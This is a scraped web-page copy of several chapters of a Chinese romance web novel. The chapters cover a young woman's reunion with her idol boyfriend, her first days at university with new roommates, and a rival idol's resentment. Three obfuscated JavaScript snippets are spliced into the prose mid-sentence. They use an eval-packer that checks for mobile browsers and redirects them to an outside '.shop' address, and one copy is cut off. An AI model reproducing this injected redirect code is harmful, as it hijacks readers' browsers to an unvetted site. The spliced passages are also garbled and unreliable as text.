她转了个身,拿着手机,一步步朝着家的方向走去。 “刚下课,正在回家的路上。” “是吗。”听筒里传出他的声音,轻声的,带着温柔的,似乎还含了点笑,“走到哪里了?” “走到……”黄怀予停下脚步,看着面前这一株巨大的参天的树,“一棵很大很大的树这里了。” 对面像是在笑。 “什么样的树?” “树干很粗,叶子很多。” 她思索着讲,“就在我家楼下,以前我小学和初中每天上学都会经过这棵树。” “夏天的时候,叶子是绿色的,蝉鸣的声音很大,吵得不想做暑假作业。冬天的时候,树干光秃秃的,像楚门冬天的风一样冷。” 黄怀予站定,金色的阳光透过浓密的绿叶间隙洒进来,斑斑驳驳照在她脸上,像是无数尾跃动的鱼。 她突然就有点想哭。 “楚恒。” “你可以看见这棵树吗?” 可以吗? 我们之间错过的十七年,互不重叠的十七年,隔着一千多公里的十七年。 我走过的上学路,经过的每一棵树,夜晚看见的天边的月亮。 你看得见吗? “回头。” 一片翠绿色的树叶慢慢地飘下来,微风起,金色的阳光照在楚恒的脸上。 他就站在黄怀予身后不远处,背着一把吉他,举着手机,身形颀长,微微仰着头,眼里含笑。 微哑的嗓音和听筒里的声音隔着电流和空气重叠在一起。 “看见了。” 153. 第 153 章 黄怀予听见自己狂跳的心跳声。 她“咚咚咚”几步跑过去,伸手抱住他的脖子,一下子扑到了他怀里。 楚恒站定,右手稳稳地揽住她的腰。 他穿着一件很简单的白色T恤,清爽干净,身上有好闻的香味。黄怀予把头埋进他坚硬的胸膛,蹭了两下。 她立刻就感觉到横在她腰后的那只有力的手臂搂得更紧了。 下巴被一只微凉的手指挑起来,他那张好看的脸在自己眼前放大,下一秒他就作势要亲上来。 !! 黄怀予赶紧伸手捂住他的嘴唇。 楚恒嘴被她的掌心捂住,眼睛却还那么直接地盯着她看,还想不管不顾地压下来。 黄怀予赶紧又往后仰头,躲开他。 “这是在我家楼下!” “要是被街口的邻居阿姨看到了,明天整条街就都知道了!” 黄怀予扒开他横亘在自己后腰的手,从他怀里退出来,左右看看,确认周围没人看到,才牵了他的手臂,拉着他往楼道里走。 高高大大的成年男人,手臂青筋缠绕,却顺着她的力气,被她轻轻一拉就跟着走。 “你还真会挑时间,我外婆外公全都出门打牌去了,家里没人。” 黄怀予掏出钥匙打开房门,走进来,等他也进来之后转身去关门。 才刚关上,身后就贴上一具温热高大的身躯。 她面朝着门,猝不及防被身后的一股大力被压在门上,两只手在半空中有些慌乱地扑棱了几下就被身后那人的手抓住,按在了门上。 黄怀予只能看见自己的手被他的手完全覆盖住,骨节修长,手背上青色的血管微微凸起。他的手很大,一整个把她的手都包了起来,手指强硬地插进她五指之间,握住。 肩膀处沉甸甸压上什么东西,他灼热的吐息扑在她耳侧,小腹被一只大掌按住,又慢慢地隔着衣料摩挲她肚子上的软肉。 “整整32天没有见面。” 黄怀予一愣。 她竟然听出来楚恒的声音很闷,还带着一点怨气,好像很是委屈。 她很少见过他这副样子。 楚恒在所有人面前都是平静的,没什么波澜的,冷淡的。就算在她面前,他也很少展露这种脆弱带着点委屈哀怨的样子,声音沉闷,不管不顾地想要肢体接触,配合着“整整32天没有见面”的精确控诉,整个人竟然多了那么一点怨夫味。 黄怀予笑了。 被他这样从背后压在门上,她看不见他的表情,只能拍拍他摩挲自己小腹的那只手,略表安慰。 “这就是你突然出现在这里的原因?” 黄怀予也没问比赛那边怎么办,反正她知道楚恒大概已经安排好了,这次估计也是挤出了那么一点点时间飞过来,见不到24小时就又要回去。 “嗯。” 他低低回答。 “再不见的话,我要受不了了。” 黄怀予抬起手,摸摸埋在她颈侧的楚恒的脸,“一路过来渴不渴?给你倒点水喝吧。” “……”身后半晌都没声音,楚恒像是听出了她的意思,只是好像并不满意她这种实质性的安慰,但是沉默几秒却还是慢慢放开了她。 黄怀予转身,看见他眼里带着点不满和失望,笑眯眯摸了一下他的下巴。 “随便坐,不用换鞋,我等会拖地。” 她走到厨房打开冰箱,“喝酸奶吗?我这还有冰可乐。” 她左手拿了一杯温水,右手拿了一杯可乐,走到客厅,看见他垂着头一个人坐在沙发上,于是走过去放在他面前。 “吃点什么吗?冰箱里有饺子,给你煮一点?” 楚恒坐着,垂着头,过了几秒才慢吞吞说: “吃不了。可乐也喝不了,上镜要控制。” “真惨。”黄怀予了然地点点头,丝毫不受委屈,站在他旁边,拿过桌上的可乐就自己仰头喝了。 “就这样吗?” 他突然问。 楚恒抬眸,看着她,漆黑的眸子里闪着一点细碎的光。 “就这样,只是问我要不要喝水、吃东西?” “……”黄怀予走上前几小步,站在他腿间,摸了摸他的后脑勺,“还要什么?” “要你亲我。” 他毫不犹豫地回答。 黄怀予弯下腰,吻了一下他的额头。 “不是这里。” 黄怀予略带提醒说:“现在下午三点,距离我外婆外公回家还有两个小时。” “那就亲两个小时。” 楚恒一把把她扯下来,让她跨坐在他腿上,紧紧扣住她的后腰,托住她的右脸,吻住了她的唇。 …… “等,等会。” 黄怀予喘着气推开他,看了一眼墙上的时间,发现两个人居然就这么亲了二十分钟。 她坐在他腿上,左右蹭了一下,“不舒服。硌得慌。” 楚恒被她按着胸口推开,呼吸有些急促,微张着唇,湿润的明亮的眼睛定定地望着她。 “我控制不了。”他哑着声音说。 “我说的是你太瘦,腿上骨头太硬,硌得慌。”黄怀予笑嘻嘻看他,“你说的是什么?” 楚恒被她噎住,像是气笑了,捏住她的下巴继续吻了上去。 “等!等一下!” 黄怀予用力把身子往后仰,这才在他暴风雨般的攻势下逃出来得以喘息,抓住这个气口,捂住他的嘴唇,喘着气说:“你还真打算亲两个小时?” 她回头,望了一眼他放在墙边的吉他盒。 “不说点正事吗?比如你大老远把这个背过来干什么。” 黄怀予捂着楚恒的嘴,结果下一秒手心就被湿软温热的东西舔过。 楚恒眼睛眨都不眨地望着她,那双桃花眼泡着潮湿黏泽的水汽,卧蚕处微微泛红,简直像是吸人精气的妖精。 黄怀予被手心那股湿润的感觉吓了一跳,赶紧把手拿下来,又被他一把捏住手腕,放到嘴边开始一点点轻轻地咬她手指中间的骨节。 “送给你的。” 他的声音哑得不像话。 “不是在上吉他课吗。” “送给你的琴。” 黄怀予一愣。 “真的?!” 她从楚恒身上站起来,兴奋地去拿琴盒。 才刚站起身,手才刚握住琴盒侧面的皮质环带,小腹就被身后的一只手揽住,把她往后拖了回去,黄怀予失去重心又往后倒,最后牢牢坐在他怀里。 她低头看了看两人的姿势,刚刚是跨坐,现在变成了并腿侧面坐。 楚恒的手还在她腰上慢慢地摸,她也没管,看见琴盒上写着一行英文字母Martin,拉开琴盒拉链,一架淡黄色的吉他映入眼帘。 木头摸在手里,触感圆润。随意拨动了一下吉他弦,音质均衡,声音清脆,似乎都能感受到琴弦和木质琴身之间共鸣的震动感。 她呆呆地,“这琴很贵吧。” “我才刚开始学呢,怎么能用这么贵的琴?” 她突然有点不好意思,自己学吉他也是一时兴起,并不是对这门乐器有着特别深厚的感情和兴趣,以后开学了也可能再也不会学了。 “万一它以后只能被我放在家里吃灰呢?” 楚恒没看那把琴,只是捏了一下她的耳垂,轻声说:“你用多久,这把琴的价值就持续多久。” “现在,在你手里的这一刻,假如你有一瞬间的高兴,它就已经完成任务了。” 黄怀予心里像是一瞬间被什么东西击中。 她摸着手里的吉他,“要不我给你展示一下这段时间的学习成果?” 她感到楚恒听到这话以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“哦哦!你好!这孩子长得真俊!叫什么?” “我叫谷奕。” “哦哦!你们是都在江城上学,然后一起拼车去,是吧?” 黄怀予回头,扒着外婆耳朵,“不是拼车,这车就是他的。” “谁的?” “谷奕的。” “?”老太太脸上难得出现迷茫,她暂时还无法理解一个跟自己孙女一样年纪的小男孩“拥有”了一辆车这件事,“意思是这车是他家长的?” 黄怀予神秘兮兮地冲她招招手。 “不懂了吧,你孙女我傍上大款了。” “喂。”前方传来苏琬的笑声,谷奕无奈喊了一句,勾起唇角,“我可都听见了啊。” 黄怀予笑嘻嘻抬着箱子走下去,跟外婆外公挥挥手,上了车,走了。 “你听见她刚说的了没?”外婆转身对外公说,“她刚说她傍上大款了。” “听她吹呢。黄怀予每天嘴里没一句实话,天天嘻嘻哈哈的。”外公说。 “我看也是。”外婆关上门,嘴里嘟嘟囔囔,“什么叫大款?要是能住得起望湖山庄,那才是真正的大款!” …… 楚门离江城很近,开车一个多小时就可以到。 谷公子是不接受大学开学第一天还要拖着行李箱去赶高铁这回事的,直接一辆车从楚门送到校门口。 “先送你俩去。” 到了江城大学,黄怀予走下车,看着只出现在家长和老师口中的“梦校”就这样直接出现在了眼前,长久地呼出一口气。 下一秒,右手被一只微凉素白的手牵住。 她回过头,看见苏琬的脸。 苏琬知道此时她在想什么。她也知道苏琬此时在想什么。 那些在楚门的小小教室里埋头做题的日子好像还在昨日。盛夏清新,天空高远,崭新的省会城市,大街上字母“A”开头的车牌号,以及只存在于家长和老师口中的重点985“江城大学”,此刻都在她们眼前了。 以后四年的路,也形影不离地一起走吧。 154. 第 154 章 社科学院的宿舍在9号区。法学院的宿舍在1号区。 两人拖着箱子在岔路口说了再见。 黄怀予跟着路线一路走到寝室,上了楼,打开门就看见里面已经有了两三个人。 这是标准四人寝,上床下桌,床位上都已经贴上了随机的名字,她走到了自己的床前,放下行李,和几位新室友一一打招呼。 寝室阳台外走进来一个身材瘦小的女生,扎着马尾,看上去大概一米五几,皮肤有些黑。 黄怀予冲她打招呼,她也露出一个很热情的笑,“你好,我叫戚天!” 黄怀予放下行李之后就想往阳台走走,看看环境,才刚走出去一步,上方就好像有什么冰冷的水滴,滴到了她头上。 抬头一看,上面的晾衣绳上已经晾满了一片衣服,看着是刚刚手洗过的,还再往下滴水。 黄怀予往前走了两步,才发现阳台的地上因为衣服往下滴水,已经一片水渍,刚从外面回来的鞋底踩过湿润的瓷砖地板,留下一大片脏脏的鞋印。 “我刚刚在洗衣服!” 戚天从她身后走出来,指着阳台旁边水池里的盆,里面还泡着几件衣服。 “第一天就洗衣服吗?你今天衣服弄脏了吗?” “啊。”戚天挠挠头,“这是来学校之前就要洗的脏衣服。我没在家里洗,带到学校里洗了,这样给家里省点水费嘛。” “……呃,那……”黄怀予突然不知道该说些什么,只能拿起旁边的撑衣杆,把衣服推到水池上方,“这样衣服上滴下的水就可以流到水池里了,就不会滴到地板上了。” “哦!对哦,你好聪明!” “另外,”黄怀予低头看看满地的脏脚印,犹豫几秒还是没忍住,“我先把这里拖了吧。” 黄怀予迅速下楼去超市买了个拖把,又买了很多生活用品,把阳台全部拖了一遍,又和几个室友分工,把整间寝室都分着打扫了一遍。 “我刚看见一楼有公用洗衣机。”黄怀予对戚天说,“你以后去那里洗吧,洗衣机有甩干功能,洗完的衣服是不会滴水的。” 戚天显得有些犹豫,“多少钱洗一次啊?” “扫码的,可以选择不同功能,普通洗也就三块钱一次吧。” “哦。”她应了一声,没再说话。 一路忙碌到了中午,江城的夏天炎热潮湿,黄怀予和几位室友研究了一下怎么充空调费,一人充了五块钱。 “我们四个人加起来充了二十块,这钱能用多久啊……”戚天嘟囔着说,“我以后可能天天会去图书馆,白天可能都不在寝室,这空调费我之后可以不A吗?” 周围空气有点凝滞。 黄怀予一愣,看了一眼其他两个室友,她们俩沉默一会都说可以,还跟着打趣了几句,说才刚开学就想着去图书馆啊,你学习好认真。 …… 下午的时候,手机Q/Q就收到了消息通知。 之前暑假还未开学的时候,新的大学班群就已经建立了,还有各种各样的协会提前拉了迎新群,到处拉新一届的学妹学弟入会。 班群的改名规则是“籍贯+姓名”。 黄怀予暑假进群之后就发现,班群的群主居然并不是辅导员,而是一个班上的同学。 那人的群昵称叫“魔都-曹康裕”,头像是魔都外滩的夜景,照片正中间是闪耀的东方明珠。他在群里也很是活跃,和群里的辅导员看上去也非常熟稔,每次在群里说话的时候,下面都有几个同学跟着附和他,喊他“曹老大”。 班群里响起通知,是辅导员何文在班群里艾特全体成员:“明天9月1日上午九点,请大家在9号楼203教室参加师生见面介绍会,大家可以借着这个机会和各个老师见面,也可以同学之间互相认识熟悉一下。同时,也将借这个机会选出班委。” 第二天上午九点,黄怀予和室友一起准时到了教室。 社会学专业人少,一共才两个班,她们这个班才二十多人。台下第一排齐齐整整坐着几位社科学院的老师,但是脸上都带着亲和的微笑。 黄怀予坐在下面第二排,听着周围同学们一个个上去自我介绍。 “关于社会学这个专业,我一无所知,因为我是高考志愿前几个都滑档,然后被调剂过来的。” “我和之前几位同学一样,我也对这个专业并不感兴趣,我是通过自主招生进江城大学的,当时其他专业的夏令营没有考上,所以最后也是被调剂到了这个专业。” “这个专业名字我之前都没有听说过,我估计自己对这个专业也并不感兴趣,如果以后有机会,我一定会转专业。” 黄怀予坐在下面第一排,越听越胆战心惊。 妈呀,这几个人怎么一个个都这么敢说? 就算真的不喜欢这个专业,也不用当着本专业老师的面亲口说出来吧! 她不自觉去看前面老师的脸色。 ——果然,刚刚还一直和颜悦色的几位老师,面色纷纷都平静了下来。 台上,一个男生还在那里口若悬河滔滔不绝地做着自我介绍。 他说他第一志愿是江城大学法学专业,他觉得只有法学专业才配得上自己,如果不是高考失误,是绝对不可能被分配到这种没用的冷门文科里的。所以,以后如果可以转专业,他一定会转走,转去法学院。 说到这里,他还语气一转,笑着说:“老师们别介意啊,我说的是实话。” “……”黄怀予看了周围的同学一眼,发现大家都眼观鼻鼻观心,不敢说话。 这时,第一排一位长卷发的青年女性老师突然开口道: “没关系,我们不会介意。” “只是想提醒你一下,转专业考试需要第一学期期末考试的全班前三名才可以转。” “并且,全班前三名只是第一步笔试。据我所知,每年大一想要从其他学院转去法学院的学生人数都很多,所以通过了笔试之后还需要现场参加法学院老师的面试。” “也就是说,你必须在把社会学的专业知识学到全班前三名的基础上,再通过法学专业的知识面试。” 那位女老师声音沉静,语气平和。 “祝你好运。” “……”那男生一下子红了脸,支支吾吾,说不出话,只能走下了台。 下一个,戚天走上了讲台,摸着鬓边的头发,有些不好意思,但是依然站得笔直,声音很甜。 “老师们好,同学们好,我叫戚天。其实对于社会学这个专业,我也并不太知晓,仍然比较陌生。但是我查过资料,初步进行了一些了解,我觉得这是一门非常有意思的学科,我也非常高兴能够有幸进入到我们班,成为各位老师们的学生,和各位同学们同窗。关于学习上的计划,我希望可以获得保研名额,并且在学术道路上继续走下去。谢谢大家。” 接在刚刚那个男生的后面,戚天的这段自我介绍显得情商极高又不会太过虚假, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14300926|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 班里响起了掌声,黄怀予舒了一口气,瞄见前排老师脸色也缓和了许多。 自我介绍环节结束,辅导员何文站起来说:“我们接下来将会进行班委的选举,请所有想要竞选团支书、班长、学习委员的同学,都可以站上来进行陈述。” 话音刚落,一个男生就走了上来。 他高高胖胖,穿着夹克,脸上似乎皮肤不太好,疙疙瘩瘩一片红色痘印和痘坑,肚子凸出来,双下巴很明显。 他走上讲台,步伐很稳健,用很标准的普通话说:“老师们好,同学们好,我是曹康裕。” 下面已经有几个和他相熟的男生开始鼓掌起哄“曹老大牛逼!”,黄怀予挑眉,原来就是他啊。 “大家可能听过我的名字,没错,我是魔都人。班群的群主就是我。” “刚刚有好几个同学说到专业的问题,我本人呢对社会学专业是很喜欢的,因为据我所知这样的文科社科专业考公非常方便。大家也知道我是魔都人,其实我家里在魔都那边也都是体制内,那边公务员待遇也很好,所以社会学专业对我以后考公也很有帮助。大家如果以后也有考公的打算,遇到任何备考方面的问题都可以来找我,我都会尽力帮忙。” “我想要竞选团支书。因为从小在魔都的公务员家庭长大,我对于相关事务的经验非常丰富,了解组织内部架构,也知晓这个岗位身上的责任和重担。如果我有幸能够成为团支书,我将为同学们服务,努力在学院和同学之间搭建好沟通的桥梁。” “另外,欢迎大家放假到魔都来找我,我作为魔都本地人一定会好好招待!” 黄怀予坐在下面,捧着脸,实在是有些厌倦。 魔都魔都魔都,他真的也强调太多遍了吧……看来是沪爷来袭。 她悄悄打开手机给自己认识的另一位沪爷发消息,把曹康裕这些话全都告诉了他。 没过一会谷奕简短回复一句:“册那,你问他知不知道刘娟美甲美睫。” …… 过一会又上来一个男生。这个男生看上去外形和曹康裕截然相反,又矮又瘦,竹杆排骨,戴着眼镜,看上去好像很斯文,有一种书卷气。 他说话的时候两颊都瘦得微微凹陷下去,说自己名叫韦真,父母给自己起这个名字就是希望自己做人真诚、真实。 他是从其他省份考过来的,江城大学是他的梦校,能进入这里和在座各位成为同学感到很荣幸。他对社会学非常感兴趣,也很想未来可以走学术道路,读博士。他已经加入了院级的学生会,自认为管理能力和组织能力比较强,所以希望能够胜任班长这个职位,为老师们和同学们服务。 所有的同学们都陈述完毕,大家开始了不记名投票,最后辅导员何文统计了所有票数后宣布: 曹康裕被选为团支书。 韦真被选为班长。 戚天被选为学习委员。 * 黄怀予回到了寝室,打开电脑,开始点进江城大学的社科学院官网,凭着对刚刚台下老师们的长相的记忆,循着官网上显示的老师照片,很快就找到了目标。 长卷发,穿着正装衬衫,领口处系了深蓝色的领带。 五官端正,眉眼柔和,但是眼神坚定。 ——姓名:徐樱。 室友从旁边凑过来,“你看啥呢?这是……我们的老师?” “嗯。”黄怀予捧着下巴,点点头,眼里流露出一点仰慕,“我觉得她很酷。” 155. 第 155 章 魔都,S台。 顾安起了床。 他背上包,顶着夏日的晨光,出了门,准备去练习室。 经过食堂,他远远看见前面站在一起的两个人似乎有点眼熟。 左边的人高高瘦瘦,眉目清俊,正是那位最热门的选手,沈一临。 右边戴着帽子,模样他再熟悉不过——赵焰。 沈一临正低着头看手机排队,赵焰主动走了上去,还递给他一个面包。 沈一临皱了皱眉,摇头,没接。 赵焰像是有点急,又缠着他说了点什么。 …… 顾安远远地站着,哂笑了一声,转身走了。 没猜错的话,沈一临在赵焰的眼里,应该是一个极佳的利用对象。 人气高,粉丝多,热度高,性格眼光,只要跟着他,镜头都能蹭到不少。最好的情况,是可以蹭上CP,自己也能跟着水涨船高。 他独自一人沉默地走在前方的路上。 这条路,其实自始至终都只有他一个人。 练习生的时候,他和楚恒交好,曾经还天真地以为楚恒和他是一路人——直到永远屈居第二,永远被楚恒压一头,大家永远都只能看见楚恒,而无法看见他。 终于他不想再装了,他终于可以大胆地说,他就是讨厌楚恒,他就是想要当C,他就是想要所有曾经照耀在楚恒身上的东西也都照耀在他的身上。 就在这时,赵焰及时地伸出了手。他站在练习室门口,背着光,顾安看不见他的表情,只听见他说“想当C吗?我帮你。” 敌人的敌人就是朋友——他亲手击碎了所有伪装下的玻璃,终于把楚恒拉下了水,成功成为了STAR新歌的Center。直到这时他才发现,原来自己心里竟然连一点点愧疚都没有,只有爽快,只有痛快,只有对更多的渴望。 可是,他没想到,楚恒好像总是这么受人喜欢。 自己当了center又如何?团体依然半死不活,单人热度依然昙花一现,而楚恒却又机缘巧合被明红选中,成为了那个捧沈一瑾的助力,倾尽全公司资源做出来的公司综艺到最后真正出圈的也只有沈一瑾本人,以及楚恒和沈一瑾合作的那个练习室。 斗了一大圈,机关算尽,顾安到最后才疲累地发现,赵焰根本就没有把自己放在眼里,因为自己只是他用来对抗和打击楚恒的棋子。而楚恒,甚至自始至终都没有在意过团体内部的所有明争暗斗,他永远是那么淡漠、麻木、一言不发。 ——那,做了这么多,他顾安到底算什么? 谁都可以不在意他,谁都可以忽略他,谁都可以利用他。 到头来,这条路上,永远只有他一个人。 夏日清晨的魔都,路边植物茎叶上还带着露水,空气清新,阳光斑驳洒在顾安脸上,却摇摇晃晃,照不清他的全脸,也看不见他的眼底。 多么美好的世界啊。天气真好啊。 “最喜欢的天气?我喜欢晴天吧,天气很好,令人心情比较愉快。”以性格温柔大方、关切他人著称的STAR成员顾安在接受采访时这样笑着说道。 顾安握紧拳头,一步步往前走着。他走得很用力,脚一步步向前踏,咬着牙关。 天气真好啊,真令人厌烦。阳光明媚却照不到他身上,空气清新却衬得他更扭曲粘稠,他讨厌晴天,讨厌好天气,讨厌所有人欢庆的节日,讨厌赵焰,讨厌STAR,讨厌自己。 他想,他最讨厌的,还是楚恒。 …… 楚恒解约的消息传到顾安这里时,他愣怔许久后笑了。 他终于等到这一天了。 那个横在前方的障碍终于被打得落花流水,不得不赔付天价违约金、带着一身“霸凌主导者”的争议脏水退团解约。 对手狼狈地退出了,是不是说明终于要轮到自己了? 出道三年以来,顾安其实从未荒废过基本功。他的唱跳本身在团内就都可以排进前二和前三,这几年也一直在练习进步,在好几次考核里甚至跳舞分数都超过了疏于练习、懒散退步的赵焰。 可是,赵焰仍然是主舞,所有人在提到STAR里跳舞好的人的时候,仍然只会想到赵焰。唱歌则更加没有他的份,楚恒在前方超过了太多,主唱和C的身份合于一身,身后几人都难以望其项背。 所以,当收到《光芒之下》招募选手的通知时,顾安是所有人中最兴奋的。 他憋着一股劲,打了鸡血般地天天泡练习室。 他知道这是一个非常难得的机会,也是他能够脱离现在这个半死不活的STAR的最好方式。 ——直到,初选那一天,他竟然在电视台后台休息室里,看见了楚恒的身影。 高高瘦瘦,还是那张好看漂亮的脸,还是那副冷淡漠然的表情。 为什么? 为什么? 为什么你总是这么阴魂不散? 为什么你总是要来纠缠我? 为什么你总是要在我将要红起来的时候突然抢走我所有的光芒? 顾安的所有怨愤在初选结果公布之后达到了一种顶峰。 ——一百个选手里,他排名25名。 赵焰,37名。 而一向那么闪耀、那么中心、当了STAR三年center的所有人心里的天才,楚恒,只有46名。 “提醒你一句。” 顾安站定在练习室门口,看着半蹲在角落里调整音响的楚恒。 “下一轮二选,50人进25人。” “你才46名,一定会被淘汰。” 他第一次赢了,赢得很彻底,但是他声音里却透着更加剧烈的怨愤和厌恶——原来看上去无所不能的楚恒,也会这样不堪一击地失败。 “你已经不是当年的你了。” “我,也已经不是当年的我了。” 这句话说出来,刚刚所有怨愤和厌恶竟然奇迹般消失,再也不见,取而代之的是从头到脚的爽快,他呼出一口气,嘴角扬起一个轻松的笑容。 顾安就那样笑着看着楚恒。 他觉得也许楚恒会依然那副冷淡麻木的表情,然后继续无视他。不过现在楚恒这一套应对方式已经再也不会激怒他了,因为他已经赢了。 却没想到,蹲在音响前的那人,挺直了背,慢慢地站了起来。 回过头,看着顾安。 “嗯。恭喜你。” 楚恒十分平静地说道。 …… 这一句话才出来,顾安脸上刚刚才浮现的笑容顿时僵在脸上。 他紧紧攥紧双拳,呼吸急促,像是被楚恒轻飘飘一句话就击破了所有心理防线。 “你什么意思。”他咬着牙,挤出几个字。 楚恒却淡淡地收回了目光,又变成了原来那个平静淡漠的样子,也没有再回头看顾安一眼。 “你说!” 顾安却像是骤然暴怒起来,几步冲过去,一把揪住楚恒的衣领就把他按在练习室的镜子前。 “你说!你什么意思!” “为什么要恭喜我!什么叫恭喜我!” “你说!” “你说啊!!” 楚恒被他抵在镜子前。 垂眸,看他。 那双眼睛里什么都没有,只有深刻的冷,刺骨的冷,像极地的冰,无尽的蓝。 两人就这样在极致的冷意的死寂中对视。 终于,顾安像是一下子被抽干了所有力气,手指慢慢松开,神色恍惚,低着头。 握紧拳头,转身,快步离开了。 …… 那天以后,顾安每天发疯一样地泡练习室练舞。 二选即将到来,所有选手都在努力练习。50进25,比上一轮还要残酷的选拔和淘汰,他、赵焰、楚恒,以及很多人,都有被淘汰的风险。 这也是为什么赵焰会去突如其来地试图和沈一临变得熟络的原因。 CP是能力性格和舞台魅力以外的巨大助力,如果能蹭上沈一临的热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14311016|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度,那么比纯靠唱跳能力要迅捷多了。 顾安日夜在练习室里练舞,却一直没有在舞蹈练习室里遇见过楚恒。 偶尔会听见周围其他选手聊天,舞蹈练习室每天供不应求,而却有人在空荡荡的唱歌教室里经常看见楚恒。 难道,他二选的时候要表演唱歌? 顾安不屑地嗤了一声。 站桩唱歌的舞台效果很差,只有专业歌手才敢做这样的尝试。对普通偶像而言,舞蹈和团队带来的舞台效果一定大于唱歌本身,在这种晋级舞台上选择站桩唱歌,只可能会是暴露短板的选择。 角落里休息喝水的选手们七嘴八舌地讨论,“我估计楚恒这次肯定要被淘汰了。” “是啊,选择站桩,这输定了。” 顾安从几人身边走过,轻松地呼出一口气。 是啊,楚恒一定输定了。 * 江城大学。 新生军训已经开始,将一直持续二十天。 黄怀予穿着军训服,每天跟着学院的同学们一起早出晚归跑操站军姿。 中午午休时间,和苏琬约在食堂见面,一起吃午饭。 周围大一新生基本全都穿着军训服,密密麻麻坐满周围的座位。黄怀予听见旁边一桌的几个女生的闲聊声: “哎,你最近看了《光芒之下》没?” “看了看了!很火啊。” “好好看啊!我昨天把之前更新的几集全看完了,现在又没得看了,又要等更新了。” “我好喜欢沈一临啊!感觉他是那种性格很好的男生,长得也帅!” “我也是!我昨天晚上还给他投票了,希望他一直第一名。” “我喜欢凌昀!巨搞笑,笑死我了,我还收藏了一个他的cut,他粉丝剪的,持续更新中,哈哈哈。” “你们不觉得楚恒特别帅吗……我觉得他是里面最帅的一个……” “虽然我get不到他,不过我确实承认他挺好看的。但是我个人觉得沈一临比较符合我审美。” “对对对!楚恒真的很帅!我还去他超话收了好多张图!而且感觉实力也很强。” “好想看下一期啊,周六赶快到吧!” 黄怀予全神贯注地偷听,结果眼前碗里的鸡排就被对面的人夹走了。 “哎哎哎!” 她立刻反应过来,瞪着眼,“你干嘛!” 苏琬歪头,“原来很在意吃的啊。半天不动筷子,我还以为你只在意楚恒呢。” 黄怀予:“……” 她别别扭扭地放下筷子,“你什么意思。我不吃了!” 苏琬没说话,只是笑。 旁边的那几个女生却好像听见了两人聊天,大一新生都带着扩列的强烈目标,一个胆大外向的女生立刻伸着脖子过来搭话,“同学,你们也喜欢楚恒吗?” “要不要加个Q/Q?下次可以一起出来玩!” 苏琬点点头,“对,她就喜欢楚恒。” “……” 苏琬坐她对面,笑着看她。很显然,苏琬刚刚说的“喜欢”,和那几个女生说的“喜欢”,完全不是一回事。 黄怀予红了脸,有一种隐秘恋情在众人之下被迫曝光的感觉。 …… 吃完了饭,送苏琬回了法学院1号区宿舍,黄怀予自己也慢慢往回走。 她抿着唇,拿出手机,点开某人的对话框,一边走一边打字。 “江城的夏天好热,我热得快要昏迷。军训服好硬,我难受得快要中暑。这个世界为什么要有军训这件事?我口吐白沫头晕眼花四肢乏力鲜血淋漓。但是如果你能给我转5块请我吃个可爱多,我将立刻满血复活变成世界最强女超人冲向太空。” 没过一分钟。 【楚老师】:转账5000元。 黄怀予:“?” “你转多了!” 【楚老师】:没有转多。 【楚老师】:是给这位世界最强女超人的。 156. 第 156 章 “女超人苏醒了,感谢你的支持,现在女超人将去小卖部买一千个可爱多!” 【楚老师】:吃这么多? 【楚老师】:我怕我女朋友又得肠胃炎。 “?什么叫又?!” 黄怀予咬着牙打下这几个字,怎么一年前的事情这人还记得! “给我忘了那件事!” 【楚老师】:很难做到。 “……不理你了。” 黄怀予把手机锁了,正好走到宿舍楼下。 ——“在和男朋友聊天?” 黄怀予循声回头,看见戚天和另一个室友正好买了饭,也在往寝室楼上走。戚天似乎是看到了自己在发消息的手机页面,所以突然这样问。 “没有,和我朋友。” 黄怀予随口一说。 旁边那个室友看了戚天一眼,开玩笑道:“你怎么看见人家和人聊天就会想到男朋友?” 戚天一愣,有些甜蜜地笑道:“因为我有男朋友。” “……”黄怀予和另外一个室友对视一眼,妈呀,怎么还有意外收获? 室友问:“你男朋友是你高中同学吗?” “是啊是啊!”戚天狂点头,聊到这个话题她像是很兴奋,“我们高中的时候在一起的,他现在在外省上大学,我们现在异地。” “异地很辛苦吧?”黄怀予关心了一句。 “嗯嗯嗯!超级辛苦!” 戚天像是打开了聊天开关,一路上疯狂地说: “我好想他啊!这是我第一次和他分开这么久,我们之前几乎每天都黏在一起。他说一定会娶我,我觉得我最大的梦想就是嫁给他,为他穿婚纱,然后在家里为他相夫教子,给他生三个孩子,做全职太太,他负责赚钱养家,我负责貌美如花。” “……”黄怀予皱了皱眉,低着头没说话。 “你们知道吗,我们高中的时候可甜了!那个时候连老师都知道我们恋爱,还说我们是天造地设的一对,以后一定会从校服到婚纱走进婚姻殿堂!我妈从小就教我,想要抓住一个男人的心,就要从高中的时候就下手,我是他的白月光,他就会心里一直有我。” “到了!我来开门!”旁边的另一个室友似乎是终于找到气口说话,赶紧上去掏出钥匙开门。 “你们怎么不说话?你们难道没有男朋友?” 黄怀予沉默了几秒,还是决定开口说: “有没有不重要,重要的是别把他当成你人生的全部吧。” 戚天有些愣。 “什么意思?” 黄怀予看着她,“你高考多少分?” 高考? 戚天也是小城镇出来的学生,这一路和黄怀予以及大部分高考生都一样。 